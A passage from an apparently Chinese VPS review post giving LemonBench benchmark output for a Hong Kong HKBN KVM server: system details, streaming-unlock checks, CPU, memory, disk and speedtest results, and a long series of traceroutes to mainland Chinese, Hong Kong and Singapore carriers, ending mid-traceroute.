    + · http://www.speedtest.net/result/8824785802.png
    +

    可以看到服务器采用的CPU是符合标称的,磁盘IO的情况也非常不错,符合SSD硬盘。带宽方面经过测试单台服务器为20M。

    +

    四、LemonBench综合测试

    +

    LemonBench脚本地址:https://blog.ilemonrain.com/linux/LemonBench.html#morphing

    +

    LemonBench测试脚本可以提供除了基本信息、IO、网络情况测试以外,还可以提供流媒体访问测试、路由追踪测试等,更加专业丰富。

    +
     LemonBench Linux System Benchmark Utility Version 20191205 Intl BetaVersion 
    + 
    + Bench Start Time:	2019-12-05 04:29:18
    + Bench Finish Time:	2019-12-05 04:49:46
    + Test Mode:		Full Mode
    + 
    + -> System Information
    + 
    + OS Release:		Debian GNU/Linux "Stretch" 9.11 (x86_64)
    + CPU Model:		Intel(R) Xeon(R) CPU E5-2678 v3 @ 2.50GHz
    + CPU Cache Size:	16384 KB
    + CPU Number:		2 vCPU
    + Virt Type:		KVM
    + Memory Usage:		51.50 MB / 989.46 MB
    + Swap Usage:		0 KB / 1021.00 MB
    + Disk Usage:		1.14 GB / 14.38 GB
    + Boot Device:		/dev/vda1
    + Load (1/5/15min):	0.00 0.06 0.19 
    +
    + -> Network Information
    +
    + IPV4 - IP Address:	[HK] 59.148.21.*
    + IPV4 - ASN Info:	AS10103 (HK Broadband Network Ltd.)
    + IPV4 - Region:		Tsuen Wan District
    +
    + -> Streaming Unlock Test
    +
    + HBO Now:				No
    + Bahamut Anime:				No
    + Abema.TV:				No
    + Bilibili Hongkong/Macau/Taiwan:	Yes
    + Bilibili TaiwanOnly:			No
    +
    + -> CPU Performance Test (Standard Mode, 3-Pass @ 30sec)
    +
    + 1 Thread Test:			801 Scores
    + 2 Threads Test:		1603 Scores
    +
    + -> Memory Performance Test (Standard Mode, 3-Pass @ 30sec)
    +
    + 1  Thread - Read Test:		3138580.67 MB/s
    + 1  Thread - Write Test:		8095.23 MB/s
    + 2 Threads - Read Test:		2030398.44 MB/s
    + 2 Threads - Write Test:	13799.32 MB/s
    +
    + -> Disk Speed Test (4K Block/1M Block, Direct-Write)
    +
    + Test Name		Write Speed				Read Speed
    + 10MB-4K Block		61.8 MB/s (0.07 IOPS, 0.17 s)		72.2 MB/s (17622 IOPS, 0.15 s)
    + 10MB-1M Block		1.0 GB/s (992 IOPS, 0.01 s)		1.7 GB/s (1668 IOPS, 0.01 s)
    + 100MB-4K Block		59.1 MB/s (0.07 IOPS, 1.77 s)		69.4 MB/s (16947 IOPS, 1.51 s)
    + 100MB-1M Block		1.5 GB/s (1436 IOPS, 0.07 s)		2.5 GB/s (2405 IOPS, 0.04 s)
    + 1GB-4K Block		59.1 MB/s (0.07 IOPS, 17.75 s)		73.7 MB/s (18004 IOPS, 14.22 s)
    + 1GB-1M Block		569 MB/s (542 IOPS, 1.84 s)		485 MB/s (462 IOPS, 2.16 s)
    +
    + -> Speedtest.net Network Speed Test
    +
    + Node Name			Upload Speed	Download Speed	Ping Latency
    + Speedtest Default		2.26 MB/s	2.27 MB/s	2.25 ms
    + China, Jilin CU		2.28 MB/s	2.32 MB/s	54.60 ms
    + China, Shandong CU		2.30 MB/s	2.43 MB/s	46.02 ms
    + China, Nanjing CU		2.29 MB/s	2.45 MB/s	51.85 ms
    + China, Shanghai CU		2.29 MB/s	2.53 MB/s	33.38 ms
    + China, Guangxi CU		2.28 MB/s	2.41 MB/s	16.78 ms
    + China, Lanzhou CU		2.28 MB/s	2.38 MB/s	47.66 ms
    + China, Beijing CT		2.23 MB/s	2.52 MB/s	43.57 ms
    + China, Hangzhou CT		2.27 MB/s	2.27 MB/s	31.37 ms
    + China, Nanjing CT		2.24 MB/s	2.56 MB/s	50.56 ms
    + China, Guangzhou CT		Fail: Unknown Error
    + China, Wuhan CT		Fail: Unknown Error
    + China, Shenyang CM		2.32 MB/s	2.31 MB/s	54.83 ms
    + China, Hangzhou CM		2.35 MB/s	2.33 MB/s	35.61 ms
    + China, Shanghai CM		2.28 MB/s	2.34 MB/s	36.41 ms
    + China, Nanning CM		2.30 MB/s	2.28 MB/s	20.64 ms
    + China, Lanzhou CM		2.34 MB/s	2.39 MB/s	69.72 ms
    +
    + -> Traceroute Test (IPV4)
    +
    +
    +Traceroute to China, Beijing CU (TCP Mode, Max 30 Hop)
    +============================================================
    +traceroute to 123.125.99.1 (123.125.99.1), 30 hops max, 60 byte packets
    + 1  *
    + 2  14.136.247.234  1.00 ms  AS10103  China Hong Kong hkbn.com.hk
    + 3  202.4.163.3  1.09 ms  *  China Hong Kong hkbn.com.hk
    + 4  14.136.142.14  1.32 ms  AS9269  China Hong Kong hkbn.com.hk
    + 5  219.158.41.65  3.23 ms  AS4837  China Hong Kong ChinaUnicom
    + 6  219.158.10.49  12.30 ms  AS4837  China Guangdong Guangzhou ChinaUnicom
    + 7  219.158.20.221  7.19 ms  AS4837  China Guangdong Guangzhou ChinaUnicom
    + 8  *
    + 9  219.158.108.241  42.20 ms  AS4837  China Beijing ChinaUnicom
    +10  124.65.194.182  42.99 ms  AS4808  China Beijing ChinaUnicom
    +11  125.33.187.210  42.03 ms  AS4808  China Beijing ChinaUnicom
    +12  124.65.194.50  39.51 ms  AS4808  China Beijing ChinaUnicom
    +13  61.135.113.158  41.15 ms  AS4808  China Beijing ChinaUnicom
    +14  *
    +15  *
    +16  123.125.99.1  42.23 ms  AS4808  China Beijing ChinaUnicom
    +
    +
    +Traceroute to China, Beijing CT (TCP Mode, Max 30 Hop)
    +============================================================
    +traceroute to 180.149.128.1 (180.149.128.1), 30 hops max, 60 byte packets
    + 1  *
    + 2  14.136.247.234  0.99 ms  AS10103  China Hong Kong hkbn.com.hk
    + 3  202.4.163.3  1.28 ms  *  China Hong Kong hkbn.com.hk
    + 4  14.136.142.18  1.39 ms  AS9269  China Hong Kong hkbn.com.hk
    + 5  218.30.56.129  5.59 ms  AS4134  China Hong Kong ChinaTelecom
    + 6  202.97.89.49  46.21 ms  AS4134  China Beijing ChinaTelecom
    + 7  202.97.14.249  36.77 ms  AS4134  China Beijing ChinaTelecom
    + 8  202.97.34.157  39.61 ms  AS4134  China Beijing ChinaTelecom
    + 9  *
    +10  180.149.128.1  42.28 ms  AS23724  China Beijing ChinaTelecom
    +
    +
    +Traceroute to China, Beijing CM (TCP Mode, Max 30 Hop)
    +============================================================
    +traceroute to 211.136.88.117 (211.136.88.117), 30 hops max, 60 byte packets
    + 1  *
    + 2  14.136.247.234  0.97 ms  AS10103  China Hong Kong hkbn.com.hk
    + 3  202.4.163.3  1.34 ms  *  China Hong Kong hkbn.com.hk
    + 4  61.244.224.49  0.85 ms  AS9269  China Hong Kong hkbn.com.hk
    + 5  *
    + 6  *
    + 7  *
    + 8  *
    + 9  *
    +10  *
    +11  221.176.27.253  40.08 ms  AS9808  China Beijing ChinaMobile
    +12  *
    +13  *
    +14  *
    +15  211.136.88.117  40.22 ms  AS56048  China Beijing ChinaMobile
    +
    +
    +Traceroute to China, Shanghai CU (TCP Mode, Max 30 Hop)
    +============================================================
    +traceroute to 58.247.0.49 (58.247.0.49), 30 hops max, 60 byte packets
    + 1  *
    + 2  14.136.247.234  0.96 ms  AS10103  China Hong Kong hkbn.com.hk
    + 3  202.4.163.3  2.20 ms  *  China Hong Kong hkbn.com.hk
    + 4  14.136.142.18  1.35 ms  AS9269  China Hong Kong hkbn.com.hk
    + 5  62.115.170.182  2.43 ms  AS1299  Europe Regions telia.com
    + 6  219.158.33.181  1.89 ms  AS4837  China Hong Kong ChinaUnicom
    + 7  219.158.10.49  6.31 ms  AS4837  China Guangdong Guangzhou ChinaUnicom
    + 8  219.158.24.133  7.89 ms  AS4837  China Guangdong Guangzhou ChinaUnicom
    + 9  219.158.19.65  8.06 ms  AS4837  China Guangdong Guangzhou ChinaUnicom
    +10  219.158.7.57  35.39 ms  AS4837  China Shanghai ChinaUnicom
    +11  *
    +12  58.247.0.49  36.74 ms  AS17621  China Shanghai ChinaUnicom
    +
    +
    +Traceroute to China, Shanghai CT (TCP Mode, Max 30 Hop)
    +============================================================
    +traceroute to 180.153.28.1 (180.153.28.1), 30 hops max, 60 byte packets
    + 1  *
    + 2  14.136.247.234  1.03 ms  AS10103  China Hong Kong hkbn.com.hk
    + 3  202.4.163.3  11.38 ms  *  China Hong Kong hkbn.com.hk
    + 4  14.136.142.18  1.27 ms  AS9269  China Hong Kong hkbn.com.hk
    + 5  203.215.232.97  20.46 ms  AS4134  China Hong Kong ChinaTelecom
    + 6  202.97.6.5  52.83 ms  AS4134  China Shanghai ChinaTelecom
    + 7  *
    + 8  202.97.24.205  69.36 ms  AS4134  China Shanghai ChinaTelecom
    + 9  61.152.24.5  53.14 ms  AS4812  China Shanghai ChinaTelecom
    +10  101.95.207.246  66.79 ms  AS4812  China Shanghai ChinaTelecom
    +11  124.74.232.58  61.30 ms  AS4812  China Shanghai ChinaTelecom
    +12  101.227.255.46  60.80 ms  AS4812  China Shanghai ChinaTelecom
    +13  180.153.28.1  51.41 ms  AS4812  China Shanghai ChinaTelecom
    +
    +
    +Traceroute to China, Shanghai CM (TCP Mode, Max 30 Hop)
    +============================================================
    +traceroute to 221.183.55.22 (221.183.55.22), 30 hops max, 60 byte packets
    + 1  *
    + 2  14.136.247.234  2.25 ms  AS10103  China Hong Kong hkbn.com.hk
    + 3  202.4.163.3  1.09 ms  *  China Hong Kong hkbn.com.hk
    + 4  61.244.224.49  0.89 ms  AS9269  China Hong Kong hkbn.com.hk
    + 5  *
    + 6  *
    + 7  *
    + 8  *
    + 9  221.176.24.57  83.61 ms  AS9808  China Guangdong Guangzhou ChinaMobile
    +10  221.176.22.113  9.02 ms  AS9808  China Guangdong Guangzhou ChinaMobile
    +11  *
    +12  221.176.17.178  35.80 ms  AS9808  China Shanghai ChinaMobile
    +13  221.183.55.22  44.83 ms  AS9808  China Shanghai ChinaMobile
    +
    +
    +Traceroute to China, Guangzhou CU (TCP Mode, Max 30 Hop)
    +============================================================
    +traceroute to 210.21.4.130 (210.21.4.130), 30 hops max, 60 byte packets
    + 1  59.148.21.1  0.14 ms  AS10103  China Hong Kong hkbn.com.hk
    + 2  14.136.247.234  1.18 ms  AS10103  China Hong Kong hkbn.com.hk
    + 3  202.4.163.3  7.45 ms  *  China Hong Kong hkbn.com.hk
    + 4  14.136.142.14  1.40 ms  AS9269  China Hong Kong hkbn.com.hk
    + 5  213.248.78.34  1.81 ms  AS1299  TELIA.COM BACKBONE telia.com
    + 6  219.158.33.181  3.14 ms  AS4837  China Hong Kong ChinaUnicom
    + 7  219.158.10.49  11.71 ms  AS4837  China Guangdong Guangzhou ChinaUnicom
    + 8  219.158.24.137  11.74 ms  AS4837  China Guangdong Guangzhou ChinaUnicom
    + 9  *
    +10  120.86.0.182  11.75 ms  AS17816  China Guangdong Guangzhou ChinaUnicom
    +11  120.80.170.250  7.32 ms  AS17622  China Guangdong Guangzhou ChinaUnicom
    +12  210.21.4.130  7.91 ms  AS17622  China Guangdong Guangzhou ChinaUnicom
    +
    +
    +Traceroute to China, Guangzhou CT (TCP Mode, Max 30 Hop)
    +============================================================
    +traceroute to 113.108.209.1 (113.108.209.1), 30 hops max, 60 byte packets
    + 1  *
    + 2  14.136.247.234  0.96 ms  AS10103  China Hong Kong hkbn.com.hk
    + 3  202.4.163.3  1.04 ms  *  China Hong Kong hkbn.com.hk
    + 4  14.136.142.14  1.27 ms  AS9269  China Hong Kong hkbn.com.hk
    + 5  202.97.122.109  7.44 ms  AS4134  China Guangdong Guangzhou ChinaTelecom
    + 6  202.97.22.125  8.04 ms  AS4134  China Guangdong Guangzhou ChinaTelecom
    + 7  202.97.12.14  8.65 ms  AS4134  China Guangdong Guangzhou ChinaTelecom
    + 8  202.97.94.129  11.04 ms  AS4134  China Guangdong Guangzhou ChinaTelecom
    + 9  *
    +10  113.108.209.1  9.17 ms  AS58466  China Guangdong Guangzhou ChinaTelecom
    +
    +
    +Traceroute to China, Guangzhou CM (TCP Mode, Max 30 Hop)
    +============================================================
    +traceroute to 211.139.129.5 (211.139.129.5), 30 hops max, 60 byte packets
    + 1  *
    + 2  14.136.247.234  2.44 ms  AS10103  China Hong Kong hkbn.com.hk
    + 3  202.4.163.3  1.22 ms  *  China Hong Kong hkbn.com.hk
    + 4  61.244.224.49  0.86 ms  AS9269  China Hong Kong hkbn.com.hk
    + 5  *
    + 6  *
    + 7  *
    + 8  221.183.55.94  10.12 ms  AS9808  China Guangdong Guangzhou ChinaMobile
    + 9  221.183.25.118  17.13 ms  AS9808  China Guangdong Guangzhou ChinaMobile
    +10  221.176.22.125  9.13 ms  AS9808  China Guangdong Guangzhou ChinaMobile
    +11  221.183.26.126  11.50 ms  AS9808  China Guangdong Guangzhou ChinaMobile
    +12  183.235.226.237  11.76 ms  AS56040  China Guangdong Guangzhou ChinaMobile
    +13  211.139.129.5  15.30 ms  AS56040  China Guangdong Guangzhou ChinaMobile
    +
    +
    +Traceroute to China, Shanghai CU AS9929 (TCP Mode, Max 30 Hop)
    +============================================================
    +traceroute to 210.13.66.238 (210.13.66.238), 30 hops max, 60 byte packets
    + 1  *
    + 2  14.136.247.234  2.06 ms  AS10103  China Hong Kong hkbn.com.hk
    + 3  202.4.163.3  3.49 ms  *  China Hong Kong hkbn.com.hk
    + 4  14.136.142.18  1.34 ms  AS9269  China Hong Kong hkbn.com.hk
    + 5  219.158.39.133  9.28 ms  AS4837  China ChinaUnicom
    + 6  219.158.10.61  6.63 ms  AS4837  China Hong Kong ChinaUnicom
    + 7  219.158.98.93  11.40 ms  AS4837  China Guangdong Guangzhou ChinaUnicom
    + 8  219.158.8.113  7.51 ms  AS4837  China Guangdong Guangzhou ChinaUnicom
    + 9  219.158.107.29  33.65 ms  AS4837  China Henan Zhengzhou ChinaUnicom
    +10  219.158.113.198  35.46 ms  AS4837  China Shanghai ChinaUnicom
    +11  *
    +12  218.105.2.149  38.19 ms  AS9929  China Shanghai ChinaUnicom
    +13  218.105.2.210  35.69 ms  AS9929  China Shanghai ChinaUnicom
    +14  210.13.75.138  53.08 ms  AS9929  China Shanghai ChinaUnicom
    +15  210.13.66.237  46.22 ms  AS9929  China Shanghai ChinaUnicom
    +16  *
    +17  210.13.66.238  38.80 ms  AS9929  China Shanghai ChinaUnicom
    +
    +
    +Traceroute to China, Shanghai CT CN2 (TCP Mode, Max 30 Hop)
    +============================================================
    +traceroute to 58.32.0.1 (58.32.0.1), 30 hops max, 60 byte packets
    + 1  59.148.21.1  0.11 ms  AS10103  China Hong Kong hkbn.com.hk
    + 2  14.136.247.234  0.98 ms  AS10103  China Hong Kong hkbn.com.hk
    + 3  202.4.163.3  3.95 ms  *  China Hong Kong hkbn.com.hk
    + 4  61.244.224.69  1.47 ms  AS9269  China Hong Kong hkbn.com.hk
    + 5  134.159.128.9  3.74 ms  AS4637,AS10026  China Hong Kong telstra.com
    + 6  202.84.153.53  3.69 ms  AS4637,AS10026  China Hong Kong telstra.com
    + 7  202.84.141.109  32.09 ms  AS4637,AS10026  Singapore telstra.com
    + 8  202.84.224.197  31.80 ms  AS4637,AS10026  Singapore telstra.com
    + 9  210.57.30.22  33.99 ms  AS4637,AS10026  Singapore telstra.com
    +10  59.43.249.194  62.96 ms  *  China Shanghai ChinaTelecom
    +11  59.43.187.81  62.90 ms  *  China Shanghai ChinaTelecom
    +12  *
    +13  61.152.24.198  62.47 ms  AS4812  China Shanghai ChinaTelecom
    +14  101.95.95.66  63.05 ms  AS4812  China Shanghai ChinaTelecom
    +15  58.32.0.1  63.44 ms  AS4812  China Shanghai ChinaTelecom
    +
    +
    +Traceroute to China, Beijing Dr.Peng Home Network (TCP Mode, Max 30 Hop)
    +============================================================
    +traceroute to 14.131.125.1 (14.131.125.1), 30 hops max, 60 byte packets
    + 1  *
    + 2  14.136.247.234  0.84 ms  AS10103  China Hong Kong hkbn.com.hk
    + 3  202.4.163.3  1.18 ms  *  China Hong Kong hkbn.com.hk
    + 4  14.136.142.14  1.37 ms  AS9269  China Hong Kong hkbn.com.hk
    + 5  203.215.232.85  3.61 ms  AS4134  China Hong Kong ChinaTelecom
    + 6  202.97.37.241  38.19 ms  AS4134  China Beijing ChinaTelecom
    + 7  202.97.12.137  39.35 ms  AS4134  China Beijing ChinaTelecom
    + 8  202.97.94.189  39.13 ms  AS4134  China Beijing ChinaTelecom
    + 9  *
    +10  *
    +11  106.120.235.26  53.53 ms  AS4847  China Beijing ChinaTelecom
    +12  1.202.252.42  53.56 ms  AS4847  China Beijing ChinaTelecom
    +13  218.241.245.25  50.90 ms  AS4847  China Beijing DRPENG
    +14  218.241.254.169  39.12 ms  AS4847  China Beijing DRPENG
    +15  218.241.255.86  55.34 ms  AS4847  China Beijing DRPENG
    +16  218.241.254.226  49.29 ms  AS4847  China Beijing DRPENG
    +17  *
    +18  *
    +19  *
    +20  *
    +21  *
    +22  *
    +23  *
    +24  *
    +25  *
    +26  *
    +27  *
    +28  *
    +29  *
    +30  *
    +
    +
    +Traceroute to China, Beijing Dr.Peng Network IDC Network (TCP Mode, Max 30 Hop)
    +============================================================
    +traceroute to 115.47.124.254 (115.47.124.254), 30 hops max, 60 byte packets
    + 1  *
    + 2  14.136.247.234  0.93 ms  AS10103  China Hong Kong hkbn.com.hk
    + 3  202.4.163.3  1.13 ms  *  China Hong Kong hkbn.com.hk
    + 4  14.136.142.14  1.69 ms  AS9269  China Hong Kong hkbn.com.hk
    + 5  203.215.232.85  4.29 ms  AS4134  China Hong Kong ChinaTelecom
    + 6  202.97.39.105  39.20 ms  AS4134  China Beijing ChinaTelecom
    + 7  202.97.53.77  36.44 ms  AS4134  China Beijing ChinaTelecom
    + 8  202.97.48.205  37.69 ms  AS4134  China Beijing ChinaTelecom
    + 9  *
    +10  *
    +11  106.120.254.166  39.83 ms  AS4847  China Beijing ChinaTelecom
    +12  *
    +13  *
    +14  *
    +15  *
    +16  *
    +17  *
    +18  *
    +19  *
    +20  *
    +21  *
    +22  *
    +23  *
    +24  *
    +25  *
    +26  *
    +27  *
    +28  *
    +29  *
    +30  *
    +
    +
    +Traceroute to China, Beijing CERNET (TCP Mode, Max 30 Hop)
    +============================================================
    +traceroute to 202.205.109.205 (202.205.109.205), 30 hops max, 60 byte packets
    + 1  *
    + 2  14.136.247.234  1.00 ms  AS10103  China Hong Kong hkbn.com.hk
    + 3  202.4.163.11  0.67 ms  *  China Hong Kong hkbn.com.hk
    + 4  123.255.90.44  3.05 ms  AS135423  China Hong Kong hkix.net
    + 5  202.84.153.61  3.50 ms  AS4637,AS10026  China Hong Kong telstra.com
    + 6  202.84.153.26  2.55 ms  AS4637,AS10026  China Hong Kong telstra.com
    + 7  61.8.59.38  23.58 ms  AS4637  China Hong Kong pacnet.com
    + 8  101.4.117.149  290.66 ms  AS4538  China Beijing CHINAEDU
    + 9  101.4.118.121  308.47 ms  AS4538  China Beijing CHINAEDU
    +10  101.4.117.253  310.27 ms  AS4538  China Beijing CHINAEDU
    +11  101.4.114.197  316.86 ms  AS4538  China Beijing CHINAEDU
    +12  219.224.102.234  308.89 ms  AS4538  China Beijing CHINAEDU
    +13  202.112.38.158  299.01 ms  AS4538  China Beijing CHINAEDU
    +14  202.205.109.205  307.52 ms  AS4538  China Beijing CHINAEDU
    +
    +
    +Traceroute to China, Beijing CSTNET (TCP Mode, Max 30 Hop)
    +============================================================
    +traceroute to 159.226.254.1 (159.226.254.1), 30 hops max, 60 byte packets
    + 1  59.148.21.1  0.10 ms  AS10103  China Hong Kong hkbn.com.hk
    + 2  14.136.247.234  1.00 ms  AS10103  China Hong Kong hkbn.com.hk
    + 3  202.4.163.11  0.67 ms  *  China Hong Kong hkbn.com.hk
    + 4  123.255.91.238  3.00 ms  AS135423  China Hong Kong hkix.net
    + 5  *
    + 6  159.226.254.5  37.38 ms  AS7497  China Beijing CSTNET
    + 7  159.226.254.1  37.74 ms  AS7497  China Beijing CSTNET
    +
    +
    +Traceroute to China, Beijing GCable (TCP Mode, Max 30 Hop)
    +============================================================
    +traceroute to 211.156.140.17 (211.156.140.17), 30 hops max, 60 byte packets
    + 1  *
    + 2  14.136.247.234  2.31 ms  AS10103  China Hong Kong hkbn.com.hk
    + 3  202.4.163.3  1.20 ms  *  China Hong Kong hkbn.com.hk
    + 4  61.244.224.49  0.95 ms  AS9269  China Hong Kong hkbn.com.hk
    + 5  *
    + 6  *
    + 7  *
    + 8  *
    + 9  *
    +10  221.183.25.193  35.63 ms  AS9808  China Shanghai ChinaMobile
    +11  221.176.17.217  34.46 ms  AS9808  China Shanghai ChinaMobile
    +12  221.176.22.38  38.41 ms  AS9808  China Shanghai ChinaMobile
    +13  221.183.65.66  47.46 ms  AS9808  China Shanghai ChinaMobile
    +14  211.156.132.25  46.81 ms  AS7641  China Beijing chinabtn.com CATV
    +15  211.156.129.89  56.20 ms  AS7641  China Beijing chinabtn.com CATV
    +16  211.156.128.229  65.06 ms  AS7641  China Beijing chinabtn.com CATV
    +17  211.156.140.17  56.07 ms  AS7641  China Beijing chinabtn.com CATV
    +
    +
    +Traceroute to China, Hongkong CU (TCP Mode, Max 30 Hop)
    +============================================================
    +traceroute to 203.160.95.218 (203.160.95.218), 30 hops max, 60 byte packets
    + 1  *
    + 2  14.136.247.234  4.61 ms  AS10103  China Hong Kong hkbn.com.hk
    + 3  202.4.163.11  3.60 ms  *  China Hong Kong hkbn.com.hk
    + 4  123.255.91.154  5.73 ms  AS135423  China Hong Kong hkix.net
    + 5  43.252.86.65  6.73 ms  AS10099  China Hong Kong ChinaUnicom
    + 6  119.252.139.14  4.17 ms  AS10099  China Hong Kong ChinaUnicom
    + 7  202.77.22.89  3.60 ms  AS10099  China Hong Kong ChinaUnicom
    + 8  203.160.95.218  3.42 ms  AS10099  China Hong Kong ChinaUnicom
    +
    +
    +Traceroute to China, Hongkong CT (TCP Mode, Max 30 Hop)
    +============================================================
    +traceroute to 203.215.232.173 (203.215.232.173), 30 hops max, 60 byte packets
    + 1  59.148.21.1  0.11 ms  AS10103  China Hong Kong hkbn.com.hk
    + 2  14.136.247.234  0.92 ms  AS10103  China Hong Kong hkbn.com.hk
    + 3  202.4.163.3  1.24 ms  *  China Hong Kong hkbn.com.hk
    + 4  14.136.142.14  1.39 ms  AS9269  China Hong Kong hkbn.com.hk
    + 5  203.215.232.173  1.85 ms  AS4134  China Hong Kong ChinaTelecom
    +
    +
    +Traceroute to China, Hongkong CT CN2 (TCP Mode, Max 30 Hop)
    +============================================================
    +traceroute to 203.8.25.187 (203.8.25.187), 30 hops max, 60 byte packets
    + 1  *
    + 2  14.136.247.234  1.13 ms  AS10103  China Hong Kong hkbn.com.hk
    + 3  202.4.163.3  1.30 ms  *  China Hong Kong hkbn.com.hk
    + 4  61.244.224.51  0.92 ms  AS9269  China Hong Kong hkbn.com.hk
    + 5  123.255.91.40  2.99 ms  AS135423  China Hong Kong hkix.net
    + 6  218.189.5.21  17.11 ms  AS9304  China Hong Kong hgc.com.hk
    + 7  218.188.104.54  18.89 ms  AS9304  China Hong Kong hgc.com.hk
    + 8  59.43.181.190  2.95 ms  *  China Hong Kong ChinaTelecom
    + 9  203.8.25.187  2.93 ms  AS4809  China Hong Kong ChinaTelecom
    +
    +
    +Traceroute to China, Hongkong CM (TCP Mode, Max 30 Hop)
    +============================================================
    +traceroute to 203.142.105.9 (203.142.105.9), 30 hops max, 60 byte packets
    + 1  *
    + 2  14.136.247.234  1.01 ms  AS10103  China Hong Kong hkbn.com.hk
    + 3  202.4.163.11  0.67 ms  *  China Hong Kong hkbn.com.hk
    + 4  123.255.91.137  2.77 ms  AS135423  China Hong Kong hkix.net
    + 5  203.142.100.161  3.35 ms  AS9231  China Hong Kong ChinaMobile
    + 6  203.142.100.22  3.70 ms  AS9231  China Hong Kong ChinaMobile
    + 7  203.142.105.9  3.74 ms  AS9231  China Hong Kong ChinaMobile
    +
    +
    +Traceroute to China, Hongkong HGC (TCP Mode, Max 30 Hop)
    +============================================================
    +traceroute to 218.188.104.30 (218.188.104.30), 30 hops max, 60 byte packets
    + 1  *
    + 2  14.136.247.234  2.01 ms  AS10103  China Hong Kong hkbn.com.hk
    + 3  202.4.163.11  0.63 ms  *  China Hong Kong hkbn.com.hk
    + 4  123.255.90.140  3.30 ms  AS135423  China Hong Kong hkix.net
    + 5  218.189.5.24  3.32 ms  AS9304  China Hong Kong hgc.com.hk
    + 6  218.188.104.30  3.78 ms  AS9304  China Hong Kong hgc.com.hk
    +
    +
    +Traceroute to China, Hongkong HKBN (TCP Mode, Max 30 Hop)
    +============================================================
    +traceroute to 210.6.23.239 (210.6.23.239), 30 hops max, 60 byte packets
    + 1  59.148.21.1  0.13 ms  AS10103  China Hong Kong hkbn.com.hk
    + 2  14.136.247.234  0.87 ms  AS10103  China Hong Kong hkbn.com.hk
    + 3  202.4.163.3  15.03 ms  *  China Hong Kong hkbn.com.hk
    + 4  203.186.235.133  2.19 ms  AS9269  China Hong Kong hkbn.com.hk
    + 5  203.80.215.70  0.76 ms  AS9269  China Hong Kong hkbn.com.hk
    + 6  210.6.23.239  1.17 ms  AS9269  China Hong Kong hkbn.com.hk
    +
    +
    +Traceroute to China, Hongkong PCCW (TCP Mode, Max 30 Hop)
    +============================================================
    +traceroute to 202.85.125.60 (202.85.125.60), 30 hops max, 60 byte packets
    + 1  *
    + 2  14.136.247.234  2.23 ms  AS10103  China Hong Kong hkbn.com.hk
    + 3  202.4.163.11  0.66 ms  *  China Hong Kong hkbn.com.hk
    + 4  123.255.91.17  3.19 ms  AS135423  China Hong Kong hkix.net
    + 5  203.215.254.210  2.75 ms  AS9925  China Hong Kong pbase.net
    + 6  202.153.99.204  4.33 ms  AS9925  China Hong Kong pbase.net
    + 7  203.215.244.33  3.00 ms  AS9925  China Hong Kong pbase.net
    + 8  202.85.125.60  3.78 ms  AS9925  China Hong Kong pccw.com
    +
    +
    +Traceroute to China, Hongkong TGT (TCP Mode, Max 30 Hop)
    +============================================================
    +traceroute to 202.123.76.58 (202.123.76.58), 30 hops max, 60 byte packets
    + 1  *
    + 2  14.136.247.234  0.97 ms  AS10103  China Hong Kong hkbn.com.hk
    + 3  202.4.163.11  0.74 ms  *  China Hong Kong hkbn.com.hk
    + 4  123.255.91.105  3.26 ms  AS135423  China Hong Kong hkix.net
    + 5  202.123.74.58  2.71 ms  AS10098  China Hong Kong towngastelecom.com
    + 6  202.123.74.82  2.64 ms  AS10098  China Hong Kong towngastelecom.com
    + 7  202.123.76.58  3.57 ms  AS10098  China Hong Kong towngastelecom.com
    +
    +
    +Traceroute to China, Hongkong WTT (TCP Mode, Max 30 Hop)
    +============================================================
    +traceroute to 59.152.252.242 (59.152.252.242), 30 hops max, 60 byte packets
    + 1  *
    + 2  14.136.247.234  0.88 ms  AS10103  China Hong Kong hkbn.com.hk
    + 3  202.4.163.11  0.75 ms  *  China Hong Kong hkbn.com.hk
    + 4  123.255.91.141  1.91 ms  AS135423  China Hong Kong hkix.net
    + 5  115.160.187.54  2.49 ms  AS9381  China Hong Kong wtthk.com
    + 6  10.104.131.158  2.17 ms  *  LAN Address
    + 7  59.152.252.196  2.26 ms  AS9381  China Hong Kong wtthk.com
    + 8  59.152.252.242  4.02 ms  AS9381  China Hong Kong wtthk.com
    +
    +
    +Traceroute to Singapore, China CT (TCP Mode, Max 30 Hop)
    +============================================================
    +traceroute to 203.215.233.1 (203.215.233.1), 30 hops max, 60 byte packets
    + 1  59.148.21.1  0.10 ms  AS10103  China Hong Kong hkbn.com.hk
    + 2  14.136.247.234  1.39 ms  AS10103  China Hong Kong hkbn.com.hk
    + 3  202.4.163.3  1.30 ms  *  China Hong Kong hkbn.com.hk
    + 4  14.136.142.14  1.40 ms  AS9269  China Hong Kong hkbn.com.hk
    + 5  203.215.232.85  8.56 ms  AS4134  China Hong Kong ChinaTelecom
    + 6  203.215.233.1  82.75 ms  AS4134  Singapore ChinaTelecom
    +
    +
    +Traceroute to Singapore, China CT CN2 (TCP Mode, Max 30 Hop)
    +============================================================
    +traceroute to 183.91.61.1 (183.91.61.1), 30 hops max, 60 byte packets
    + 1  *
    + 2  14.136.247.234  2.81 ms  AS10103  China Hong Kong hkbn.com.hk
    + 3  202.4.163.3  7.65 ms  *  China Hong Kong hkbn.com.hk
    + 4  14.136.142.14  2.21 ms  AS9269  China Hong Kong hkbn.com.hk
    + 5  202.97.122.109  5.84 ms  AS4134  China Guangdong Guangzhou ChinaTelecom
    + 6  59.43.244.225  37.13 ms  *  China Hong Kong ChinaTelecom
    + 7  59.43.249.241  44.67 ms  *  Singapore ChinaTelecom
    + 8  183.91.61.1  36.66 ms  AS4809  Singapore ChinaTelecom
    +
    +
    +Traceroute to Singapore, Singtel (TCP Mode, Max 30 Hop)
    +============================================================
    +traceroute to 118.201.1.11 (118.201.1.11), 30 hops max, 60 byte packets
    + 1  *
    + 2  14.136.247.234  1.26 ms  AS10103  China Hong Kong hkbn.com.hk
    + 3  202.4.163.3  1.24 ms  *  China Hong Kong hkbn.com.hk
    + 4  61.244.224.65  4.95 ms  AS9269  China Hong Kong hkbn.com.hk
    + 5  203.208.171.54  1.73 ms  AS7473  China Hong Kong singtel.com
    + 6  203.208.158.93  33.50 ms  AS7473  Singapore singtel.com
    + 7  203.208.158.17  33.68 ms  AS7473  Singapore singtel.com
    + 8  203.208.191.2  36.71 ms  AS7473  Singapore singtel.com
    + 9  *
    +10  165.21.49.126  35.85 ms  AS3758  Singapore singtel.com
    +11  203.125.232.130  35.96 ms  AS3758  Singapore singtel.com
    +12  118.201.1.11  37.49 ms  AS3758  Singapore singtel.com
    +
    +
    +Traceroute to Singapore, StarHub (TCP Mode, Max 30 Hop)
    +============================================================
    +traceroute to 203.116.46.162 (203.116.46.162), 30 hops max, 60 byte packets
    + 1  *
